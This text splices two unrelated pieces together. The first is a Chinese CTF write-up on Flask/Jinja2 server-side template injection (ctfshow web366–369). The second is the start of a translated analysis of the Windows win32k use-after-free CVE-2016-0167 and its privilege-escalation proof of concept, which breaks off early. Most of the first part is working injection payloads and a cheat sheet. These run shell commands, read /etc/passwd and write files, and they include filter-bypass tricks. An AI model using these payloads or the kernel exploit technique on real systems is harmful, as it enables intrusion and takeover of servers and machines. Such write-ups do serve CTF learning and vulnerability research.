?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}
方法二：values传参
# values 没有被过滤
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
方法三：cookie传参
# cookie 可以使用
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
### ctfshow web366
过滤了单双引号，args，[]，_，os
单双引号可以用request对象绕过，由于过滤了args，所以我们用request.values来绕过
过滤了[]我们用|attr()来绕过
过滤_我们也用request对象来绕过
os我们可以用编码来绕过
payload
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
ctfshow{0c9d868e-81c8-4c30-a2d4-534e5e17e8b6}
### ctfshow web367
过滤了单双引号、args、中括号[]、下划线、os
和上一个差不多，直接原payload提交
### ctfshow web368
过滤单双引号、args、中括号[]、下划线、os、{undefined{undefined
不能使用`{{`来进行提交了，但是我们可以用`{%`来进行绕过
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
第二种也可以采用盲注的办法，写个脚本跑一下
基础太差，找个脚本跑一下吧
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
#print(obj) Enumerates the objects traversed
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
try:
attr = getattr(obj, name)
except:
continue
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if item.__init__.__globals__.keys():
for path, obj in search(item,5):
if obj in ('__builtins__','os','eval'):
print('[+] ',item,num,path)
num+=1
except:
num+=1
有点慢啊，先让他跑着吧，有结果了再回来更新
### ctfshow web369
过滤单双引号、args、中括号[]、下划线、os、{undefined{、request
request被ban了，突然不知道怎么搞了
?name={{%27%27.__class__.__base__.__subclasses__()}}
?name={%print(%27%27|attr(class).|attr(base).|attr(subclasses())%}
## 总结
获取基类的几种办法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
**注意：如果._'这些被过滤了，可以用16进制编码绕过！！！**
例如：{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
特别注意用16进制编码之后里面要加"
__class__ 类的一个内置属性，表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类，以元组形式，类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组，在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合，Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类，返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上，在实例化的对象进行.操作的时候（形如：a.xxx/a.xxx()），都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b')
__builtins__ 内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。
__import__ 动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串，可以理解成就是打印出来。
url_for flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文，一个全局变量。
request 可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外，也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用的过滤器，从别的师傅的博客里摘录的：
int()：将值转换为int类型；
float()：将值转换为float类型；
lower()：将字符串转换为小写；
upper()：将字符串转换为大写；
title()：把值中的每个单词的首字母都转成大写；
capitalize()：把变量值的首字母转成大写，其余字母转小写；
trim()：截取字符串前面和后面的空白字符；
wordcount()：计算一个长字符串中单词的个数；
reverse()：字符串反转；
replace(value,old,new)： 替换将old替换为new的字符串；
truncate(value,length=255,killwords=False)：截取length长度的字符串；
striptags()：删除字符串中所有的HTML标签，如果出现多个空格，将替换成一个空格；
escape()或e：转义字符，会将<、>等符号转义成HTML中的符号。显例：content|escape或content|e。
safe()： 禁用HTML转义，如果开启了全局转义，那么safe过滤器会将变量关掉转义。示例： {{'<em>hello</em>'|safe}}；
list()：将变量列成列表；
string()：将变量转换成字符串；
join()：将一个序列中的参数值拼接成字符串。示例看上面payload；
abs()：返回一个数值的绝对值；
first()：返回一个序列的第一个元素；
last()：返回一个序列的最后一个元素；
format(value,arags,*kwargs)：格式化字符串。比如：{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出：Helloo? - Foo!
length()：返回一个序列或者字典的长度；
sum()：返回列表内数值的和；
sort()：返回排序后的列表；
default(value,default_value,boolean=false)：如果当前变量没有值，则会使用参数中的值来代替。示例：name|default('xiaotuo')----如果name不存在，则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值，如果想使用python的形式判断是否为false，则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度，别名是count
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
{{[].__class__.__base__.__subclasses__()}} //查看所有的模块
os模块都是从warnings.catch_warnings模块入手的，在所有模块中查找catch_warnings的位置，为第59个
利用到的是func_globals.keys() ：查看全局函数
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
查看flag文件所在
{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
读取文件 利用到的是object对象下的file类的read函数
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
常见的基础调用类函数执行
>>>''.__class__.__base__.__subclasses__()
返回子类的列表 [,,,...]
从中随便选一个类,查看它的__init__
>>>''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
wrapper是指这些函数并没有被重载，这时他们并不是function，不具有__globals__属性
#再换几个子类，很快就能找到一个重载过__init__的类，比如
''.__class__.__base__.__subclasses__()[5].__init__
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
然后用eval执行命令即可
获取基类
//获取基本类
{{[].__class__}}
//获取所有类
''.__class__.__mro__[2].__subclasses__()
获取config对象与request对象类
{{url_for.__globals__}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}
python2
#读取文件类，<type ‘file’> file位置一般为40，直接调用
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
<class ‘site._Printer’> #调用os的popen执行命令
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
#如果system被过滤，用os的listdir读取目录+file模块读取文件：
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
<class ‘subprocess.Popen’> 位置一般为258
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
<class ‘warnings.catch_warnings’>
#一般位置为59，可以用它来调用file、os、eval、commands等
#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
python3
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} | 社区文章 |
# 对 UAF 漏洞 CVE-2016-0167 的分析和利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章将对 Windows 释放后重用（UAF）内核漏洞 CVE-2016-0167 进行一次简单的分析并构造其利用验证代码。该漏洞在 2016
年据报道称被用于攻击支付卡等目标的数据，并和之前分析的 CVE-2016-0165 在同一个补丁程序中被微软修复。针对该漏洞的分析和测试是在 Windows
7 x86 SP1 基础环境的虚拟机中进行的。
该漏洞是弹出菜单 `tagPOPUPMENU`
对象的释放后重用漏洞，虽然是两年前的“老漏洞”，但由于触发条件特殊，需要同步和异步的消息请求相互配合才能最终实现满足漏洞利用条件的目标弹出菜单对象，所以当前对于学习和研究
win32k 内核漏洞利用来说，该漏洞还是有一定的研究价值。
## 0x0 前言
这篇文章分析了发生在窗口管理器（User）子系统的菜单管理组件中的 CVE-2016-0167 释放后重用（UAF）漏洞。在内核函数
`xxxMNDestroyHandler` 调用 `xxxSendMessage` 向目标弹出菜单对象关联的通知窗口对象发送
`WM_UNINITMENUPOPUP` 消息期间，执行流存在发生用户回调的可能性；在发送消息的函数调用返回后，函数
`xxxMNDestroyHandler` 没有重新验证目标弹出菜单对象内存的有效性而继续对其进行访问。
如果用户进程在特殊时机触发菜单取消的操作使作为利用目标的弹出菜单对象的成员标志位 `fDelayedFree`
被取消置位，并在特定时机调用函数销毁该弹出菜单对象关联的菜单窗口对象，执行流在内核中执行函数 `xxxMNDestroyHandler` 时发送
`WM_UNINITMENUPOPUP`
消息期间回调到用户进程中，用户进程对同一菜单窗口对象再次执行销毁操作，在内核中使执行流针对相同的目标弹出菜单对象重复进入函数
`xxxMNDestroyHandler`
中，并在第二次调用期间销毁目标弹出菜单对象；当执行流回到第一次调用的函数中时，目标弹出菜单对象已被销毁，但函数将在缺少必要的验证的情况下直接对目标弹出菜单对象的成员域进行访问甚至执行重复释放的操作，这将导致
UAF 漏洞的发生。
在触发销毁目标菜单窗口对象之后，用户进程中的利用代码通过巧妙的内存布局，使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块，伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑，实现对特定窗口对象的成员标志位
`bServerSideWindowProc`
的修改，使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数，得以通过内核上下文执行用户进程构造的利用代码，实现内核提权的目的。
## 0x1 原理
漏洞发生在内核模块 `win32k.sys` 的函数 `xxxMNDestroyHandler`
中，该函数用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 `tagPOPUPMENU` 对象的任务，目标弹出菜单对象的指针通过参数
`popupMenu` 传入。
弹出菜单 `tagPOPUPMENU` 结构体定义如下：
kd> dt win32k!tagPOPUPMENU
+0x000 flags : Int4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B
在函数中存在向目标弹出菜单对象的成员域 `spwndNotify` 指向的通知窗口对象发送 `WM_UNINITMENUPOPUP` 消息的调用语句：
if ( *(_DWORD *)popupMenu & 0x200000 ) // fSendUninit
{
spwndNotify = popupMenu->spwndNotify;
if ( spwndNotify )
{
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
pwndTarg = spwndNotify;
++spwndNotify->head.cLockObj;
pmenu = popupMenu->spmenu;
if ( pmenu )
hmenu = p->head.h;
xxxSendMessage(
popupMenu->spwndNotify,
0x125, // WM_UNINITMENUPOPUP
(WPARAM)hmenu,
(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
ThreadUnlock1();
}
}
其中，作为判断依据的成员标志位 `fSendUninit` 早在目标弹出菜单对象初始化期间默认被置位；而通知窗口对象成员域 `spwndNotify`
也会在初始化期间被赋值为作为菜单拥有者的窗口对象的地址。这将导致函数 `xxxMNDestroyHandler` 的执行流存在回调到用户进程上下文的可能性。
接下来函数通过对目标弹出菜单对象成员标志位 `fDelayedFree` 进行判断，以决定是否立即为目标弹出菜单对象调用 `MNFreePopup`
执行具体的释放操作。函数 `MNFreePopup` 调用 `HMAssignmentUnlock` 等函数解除 `spwndPopupMenu`
等各个对象成员域的赋值锁。在执行相应的预处理之后，函数调用 `ExFreePoolWithTag` 释放传入的弹出菜单 `tagPOPUPMENU`
对象缓冲区。
由于在前面函数 `xxxMNDestroyHandler` 发送 `WM_UNINITMENUPOPUP`
消息期间执行流可能回调到用户进程中，因此，攻击者可以在用户进程中触发逻辑使目标弹出菜单 `tagPOPUPMENU`
对象的内存被释放或重新分配，这将导致目标参数 `popupMenu`
指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造，那么在对某个保存特殊对象地址的对象成员域进行解锁时，将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。
## 0x2 追踪
函数 `xxxMNDestroyHandler` 是用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 `tagPOPUPMENU`
对象任务的函数，仅在菜单窗口对象指定的消息处理函数 `xxxMenuWindowProc` 处理 `WM_FINALDESTROY` 消息时调用。
### xxxMNDestroyHandler
该函数接收通过参数 `tagPOPUPMENU *popupMenu` 传入的弹出菜单对象作为目标对象。在函数开始位置，判断目标弹出菜单成员域
`spwndNextPopup` 是否指向真实的子菜单窗口对象，如是则表明当前菜单存在已弹出的子菜单。因此函数向成员域 `spwndPopupMenu`
指向的当前菜单窗口对象（如果为空则向子菜单窗口对象）发送 `MN_CLOSEHIERARCHY` 以关闭当前菜单的子菜单。该消息最终在
`xxxMenuWindowProc` 函数中接收并对目标窗口对象关联的弹出菜单对象调用 `xxxMNCloseHierarchy`
以处理关闭子菜单的任务。
if ( popupMenu->spwndNextPopup )
{
pwnd = popupMenu->spwndPopupMenu;
if ( !pwnd )
pwnd = popupMenu->spwndNextPopup;
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
++pwnd->head.cLockObj;
xxxSendMessage(pwnd, 0x1E4, 0, 0); // xxxMNCloseHierarchy
ThreadUnlock1();
}
接着函数判断目标弹出菜单对象的成员标志位 `fSendUninit` 是否处于置位状态。该标志位决定在弹出菜单对象销毁之后系统是否应向接收通知的窗口对象发送
`WM_UNINITMENUPOPUP` 消息。在根弹出菜单对象或子弹出菜单对象初始化期间，系统通常在函数 `xxxTrackPopupMenuEx` 或
`xxxMNOpenHierarchy` 中置位该标志位。
如果成员标志位 `fSendUninit` 处于置位状态，那么函数向成员域 `spwndNotify` 指向的用于接收通知的窗口对象发送
`WM_UNINITMENUPOPUP`(`0x125`) 消息，以使拥有者窗口能在第一时间清理与将被销毁的弹出菜单相关的数据。
if ( *(_DWORD *)popupMenu & 0x200000 ) // fSendUninit
{
spwndNotify = popupMenu->spwndNotify;
if ( spwndNotify )
{
ptl = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&ptl;
pwndTarg = spwndNotify;
++spwndNotify->head.cLockObj;
pmenu = popupMenu->spmenu;
if ( pmenu )
hmenu = (tagMENU *)p->head.h;
xxxSendMessage(
popupMenu->spwndNotify,
0x125, // WM_UNINITMENUPOPUP
(WPARAM)hmenu,
(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
ThreadUnlock1();
}
}
调用 `xxxSendMessage` 发送 `WM_UNINITMENUPOPUP` 消息时，函数还将与目标弹出菜单对象关联的菜单实体 `tagMENU`
对象的句柄作为 `wParam` 参数传入函数调用。
在函数 `xxxMNDestroyHandler` 的末尾，函数将位于目标菜单窗口 `tagWND`
对象末尾扩展区域中指向关联的弹出菜单对象的指针置空；然后判断目标弹出菜单对象的成员标志位 `fDelayedFree`
是否处于置位状态，并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放，还是在当前时刻立即释放目标弹出菜单对象。
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
在内核中通过正规途径创建上下文弹出菜单对象时，根弹出菜单对象或子弹出菜单对象的成员标志位 `fDelayedFree` 默认情况下都会在函数
`xxxTrackPopupMenuEx` 或 `xxxMNOpenHierarchy` 中被置位。
### MNFreePopup
函数 `MNFreePopup` 在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象，如果是则调用函数
`MNFlushDestroyedPopups` 以遍历并释放其成员域 `ppmDelayedFree`
指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。
接着函数调用 `HMAssignmentUnlock` 或 `UnlockPopupMenu` 函数（内部还是函数 `HMAssignmentUnlock`
的调用）以解除目标弹出菜单对象的 `spwndPopupMenu` 等各个窗口对象和菜单对象指针成员域的赋值锁。
if ( popupMenu == popupMenu->ppopupmenuRoot )
MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(popupMenu, 0);
函数 `HMAssignmentUnlock` 被用来解除先前针对指定对象的实施的带赋值锁的引用，并减小目标对象的锁计数。当目标对象的锁计数减小到 `0`
时，系统将调用函数 `HMUnlockObjectInternal` 销毁该对象。
函数 `HMUnlockObjectInternal` 通过目标对象的句柄在全局共享信息结构体 `gSharedInfo` 对象的成员域 `aheList`
指向的会话句柄表中找到该对象的句柄表项，然后通过在句柄表项中存储的句柄类型在函数 `HMDestroyUnlockedObject`
中调用索引在全局句柄类型信息数组 `gahti` 中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象，这将调用到内核函数
`xxxDestroyWindow` 中。
在函数 `MNFreePopup` 的末尾，由于已完成对各个成员域的解锁和释放，系统调用函数 `ExFreePoolWithTag` 释放目标弹出菜单
`tagPOPUPMENU` 对象。
### MNFlushDestroyedPopups
函数 `MNFlushDestroyedPopups` 遍历链表中的每个弹出菜单对象，并为每个标记了标志位 `fDestroyed` 的对象调用
`MNFreePopup` 函数。标志位 `fDestroyed` 当初在调用函数 `xxxMNDestroyHandler` 时被置位。
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
ppmFree = *i;
if ( *(_DWORD *)*i & 0x8000 )
{
ppmFree = *i;
*i = ppmFree->ppmDelayedFree;
MNFreePopup(ppmFree);
}
else if ( fUnlock )
{
*(_DWORD *)ppmFree &= 0xFFFEFFFF;
*i = (*i)->ppmDelayedFree;
}
else
{
ppmDestroyed = *i;
}
}
而如果链中存在未置位标志位 `fDestroyed` 的弹出菜单对象，函数则根据参数 `fUnlock` 传入的值决定将目标弹出菜单对象的
`fDelayedFree` 标志位置零，并跳过该节点继续遍历链表。
在函数 `MNFreePopup` 中调用 `MNFlushDestroyedPopups` 时，数值 `1` 作为参数 `fUnlock`
被传入函数调用，这决定在延迟释放链表中未置位标志位 `fDestroyed` 的弹出菜单对象标志位 `fDelayedFree` 将被置零。
函数 `xxxMNDestroyHandler` 执行期间的简要执行流如图所示：
### MN_CANCELMENUS
当向目标菜单窗口对象发送 `MN_CANCELMENUS` 消息时，系统最终在菜单窗口对象指定的消息处理函数 `xxxMenuWindowProc` 中调用
`xxxMNCancel` 函数来处理取消菜单的消息请求。
case 0x1E6u:
xxxMNCancel(menuState, wParam, lprc, 0);
return 0;
函数 `xxxMNCancel` 只能以根菜单窗口对象作为目标进行调用。在函数开始位置，菜单状态结构体的成员标志位 `fInsideMenuLoop` 和
`fButtonDown` 被置零，而根弹出菜单对象的成员标志位 `fDestroyed` 会被置位。
mov edi, [ebp+pMenuState]
mov esi, [edi]
mov eax, [esi]
and dword ptr [edi+4], 0FFFFFFF3h
or dword ptr [esi], 8000h
接着函数调用 `xxxMNCloseHierarchy` 函数来关闭当前菜单对象的菜单层叠状态，并调用函数 `xxxMNSelectItem`
取消选择菜单项。
xxxMNCloseHierarchy(popupMenu, pMenuState);
xxxMNSelectItem(popupMenu, pMenuState, 0xFFFFFFFF);
当执行流返回到函数 `xxxMNCancel` 中时，系统根据当前弹出菜单对象的成员标志位 `fIsTrackPopup` 选择调用
`xxxDestroyWindow` 以尝试销毁当前的菜单窗口对象。该成员标志位只在最开始通过函数 `xxxTrackPopupMenuEx`
创建根菜单窗口对象时对关联的弹出菜单对象置位。
if ( fTrackFlagsSet ) // popupMenu->fIsTrackPopup
{
if ( !(*((_DWORD *)pMenuState + 1) & 0x100)
&& gpqForeground
&& *((_DWORD *)gpqForeground + 9)
&& gpqForeground == gptiCurrent->pq )
{
xxxWindowEvent(0x80000005, *((_DWORD *)gpqForeground + 9), 0, 1, 0x21);
}
xxxWindowEvent(7u, popupMenu->spwndPopupMenu, 0xFFFFFFFC, 0, 0);
xxxDestroyWindow(popupMenu->spwndPopupMenu);
}
对菜单窗口对象调用 `xxxDestroyWindow` 函数期间，最终在处理 `WM_FINALDESTROY` 消息时，函数
`xxxMenuWindowProc` 调用 `xxxMNDestroyHandler` 函数处理弹出菜单销毁的任务。
## 0x3 验证
接下来编写验证代码以重现释放后重用（UAF）漏洞。先说一下验证代码的思路：
### #1 使执行流重新进入漏洞所在函数
触发该漏洞的直接步骤，是在 `WM_UNINITMENUPOPUP` 消息发送期间设法使执行流针对相同的目标弹出菜单对象重复调用
`xxxMNDestroyHandler` 函数。这样一来，目标弹出菜单对象将在第二次调用 `xxxMNDestroyHandler`
函数时被释放；当执行流返回到函数 `xxxMNDestroyHandler`
的第一次调用上下文时，目标弹出菜单对象已被释放，而函数在没有重新验证弹出菜单对象内存有效性的情况下继续对其成员域进行访问，这将导致 UAF 的触发。
要使执行流重新进入函数 `xxxMNDestroyHandler` 可通过在验证代码自定义的挂钩处理程序对 `WM_UNINITMENUPOPUP`
消息的处理逻辑中对目标菜单窗口对象调用 `DestroyWindow` 函数来实现。
### #2 满足触发条件的弹出菜单对象
根据前面的分析可知，触发漏洞需要在函数 `xxxMNDestroyHandler` 向目标弹出菜单对象关联的通知窗口对象发送
`WM_UNINITMENUPOPUP` 消息期间使执行流针对相同弹出菜单对象再次调用函数 `xxxMNDestroyHandler`
并在第二次执行函数期间释放目标弹出菜单对象。
这对目标弹出菜单对象提出要求：
一是函数 `xxxMNDestroyHandler` 在发送 `WM_UNINITMENUPOPUP`
消息之前存在条件判断，目标弹出菜单对象必须置位成员标志位 `fSendUninit`
并且必须存在关联的通知窗口对象。这要求目标弹出菜单对象所关联的菜单窗口对象必须是通过正规菜单弹出的通道所创建的，而不能是验证代码调用
`CreateWindowEx` 等函数手动创建的 `MENUCLASS` 类型的窗口对象。
二是目标弹出菜单对象的成员标志位 `fDelayedFree` 必须未被置位，否则目标弹出菜单对象将不会在函数 `xxxMNDestroyHandler`
第二次调用期间被立即释放。
### #3 成员标志位 fDelayedFree 取消置位
根据内核模块代码逻辑，通过正规菜单弹出的通道所创建的上下文菜单的弹出菜单对象在初始化期间必然会置位 `fDelayedFree`
成员标志位，置位该标志位是在函数 `xxxTrackPopupMenuEx` 和 `xxxMNOpenHierarchy` 中无条件执行的语句。
通过对 win32k 模块进行分析，可发现至少存在两处将某个弹出菜单对象的成员标志位 `fDelayedFree` 置零的语句：一处是在函数
`xxxMNEndMenuState` 中根据参数 `fFreePopup` 条件为 `FALSE` 的情况将根弹出菜单对象的标志位
`fDelayedFree` 置零；另一处是在函数 `MNFlushDestroyedPopups` 中根据参数 `fUnlock` 条件为 `TRUE`
的情况将延迟释放链表中未置位成员标志位 `fDestroyed` 的弹出菜单对象的标志位 `fDelayedFree` 置零。
对于第一种情况，纵观全局发现对函数 `xxxMNEndMenuState` 的调用仅在 `xxxDestroyThreadInfo` 函数中存在传入参数
`fFreePopup` 值不为 `FALSE` 的可能性，操作起来存在难度，因此不做考虑。
对于第二种情况，存在于函数 `MNFreePopup` 中的对函数 `MNFlushDestroyedPopups` 的调用将参数 `fUnlock`
传值为 `TRUE`。因此可以尝试利用这种情况，在调用之前使用来利用的目标弹出菜单对象的成员标志位 `fDestroyed` 保持未置位的状态，并且未置位
`fDestroyed` 标志位的目标弹出菜单对象仍需存在于通过 `ppmDelayedFree` 索引的延迟释放链表中。
### #4 成员标志位 fDestroyed 取消置位
那么需要在适当时机当函数 `MNFreePopup` 调用 `MNFlushDestroyedPopups` 时使延迟释放链表中存在未置位成员标志位
`fDestroyed` 的弹出菜单对象。
实现思路是：在某个子菜单通过调用函数 `xxxMNOpenHierarchy`
实现弹出期间，其自身相关对象还未与父级菜单相互关联时，用户进程发起菜单终止或取消的操作，使当前已存在于延时释放对象链表中的所有弹出菜单对象的成员标志位
`fDestroyed` 在弹出菜单销毁处理过程中被置位，而尚未完成初始化的子弹出菜单由于还未完成与父级菜单的关联，因此其弹出菜单对象的成员标志位
`fDestroyed` 并不会被置位。
当新弹出的子菜单完成初始化时，菜单整体继而进入函数 `xxxMNEndMenuState`
中的菜单终止处理过程。在该函数执行期间，作为利用目标的子弹出菜单对象由于其成员标志位 `fDestroyed` 未被置位，因此并不会被销毁，并且成员标志位
`fDelayedFree` 还会被置零，使其各个成员域状态满足漏洞触发条件。
这需要通过模态上下文菜单的弹出终止与同步异步消息请求的相互配合来具体实现。
### 验证代码的实现
接下来根据思路实现具体的验证代码，用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。
在验证代码的主函数中通过 `CreateMenu`
等函数创建两个弹出式的菜单对象，并在添加菜单项时将两个菜单对象相互关联，使第二个成为第一个的子菜单。当不通过函数 `SetMenuInfo`
改变菜单对象的属性时，菜单对象默认为模态类型。
hMenuList[0] = CreateMenu();
